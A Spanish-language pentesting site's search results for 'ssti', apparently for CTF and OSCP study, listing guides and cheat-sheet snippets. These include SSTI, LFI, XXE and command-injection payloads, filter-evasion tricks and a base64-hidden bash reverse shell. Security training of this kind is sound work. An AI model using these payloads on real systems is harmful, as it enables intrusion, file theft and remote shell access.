Buscar en todo
57 resultados para «ssti»
Guías 5
- SSTI: identificar el motor de plantillas y llegar a RCE Detectar una inyección en plantillas del servidor, averiguar si es Jinja2, Twig, FreeMarker, ERB o Mako, y los payloads para ejecutar comandos en cada uno.
- Directorio .git expuesto: git-dumper y secretos en el historial Cómo detectar un .git expuesto en una web, reconstruir el repositorio con git-dumper y encontrar contraseñas y claves en el historial de commits.
- IDOR, mass assignment y APIs: fallos de control de acceso que los escáneres no ven Enumerar una API (Swagger, rutas ocultas, versiones), encontrar IDOR cambiando identificadores y hacerte administrador con mass assignment.
- Inyección de comandos (OS command injection): detección, blind y bypass de filtros Cómo encontrar una inyección de comandos en Linux y Windows, confirmarla a ciegas (tiempo, DNS, HTTP) y saltarse los filtros de espacios y palabras.
- Fuzzing web: directorios, extensiones, subdominios y vhosts con ffuf, gobuster y feroxbuster Descubrir rutas ocultas, copias de seguridad, vhosts y repositorios .git expuestos con ffuf y gobuster: qué diccionario usar y cómo filtrar falsos positivos.
Técnicas 1
Técnicas de MITRE ATT&CK 1
Recursos y herramientas 1
Rutas de aprendizaje 2
- De cero a OSCP Seis etapas en orden, de tu primer nmap al simulacro de examen: máquinas de Hack The Box, guías y chuletas para preparar la OSCP sin perderte.
- Pentesting web: de la web al root Las vulnerabilidades web que más se ven en CTF y en auditorías, cada una con su guía, su chuleta y máquinas donde es la entrada.
Checklists 1
Apartados de las guías 9
- Detectarla SSTI: identificar el motor de plantillas y llegar a RCE
- Herramientas SSTI: identificar el motor de plantillas y llegar a RCE
- De RCE a shell SSTI: identificar el motor de plantillas y llegar a RCE
- Dónde buscarla SSTI: identificar el motor de plantillas y llegar a RCE
- FreeMarker (Java) SSTI: identificar el motor de plantillas y llegar a RCE
- Thymeleaf / Spring (Java) SSTI: identificar el motor de plantillas y llegar a RCE
- ERB (Ruby) y Mako (Python) SSTI: identificar el motor de plantillas y llegar a RCE
- Twig (PHP: Symfony, Craft, Grav...) SSTI: identificar el motor de plantillas y llegar a RCE
- Jinja2 (Python: Flask, Django con Jinja) SSTI: identificar el motor de plantillas y llegar a RCE
Comandos 37
-
SSTImap
LFI, SSTI, inyección de comandos y XXE › SSTI › Herramienta
python3 sstimap.py -u 'http://10.10.11.20/page?name=test' -
Linux
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
/etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf -
Básico
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
../../../../../../etc/passwd -
Windows
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf -
ERB (Ruby)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
<%= `id` %> -
Por tiempo
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; sleep 5 -
Sin barras
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat ${HOME:0:1}etc${HOME:0:1}passwd -
Twig (PHP)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
{{ ['id']|filter('system') }} -
Sin espacios
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd -
Incluir el log
LFI, SSTI, inyección de comandos y XXE › LFI › De LFI a RCE con logs
?page=/var/log/apache2/access.log&c=id -
Todo en base64
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash -
Entidad externa
LFI, SSTI, inyección de comandos y XXE › XXE › Lectura de ficheros
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r>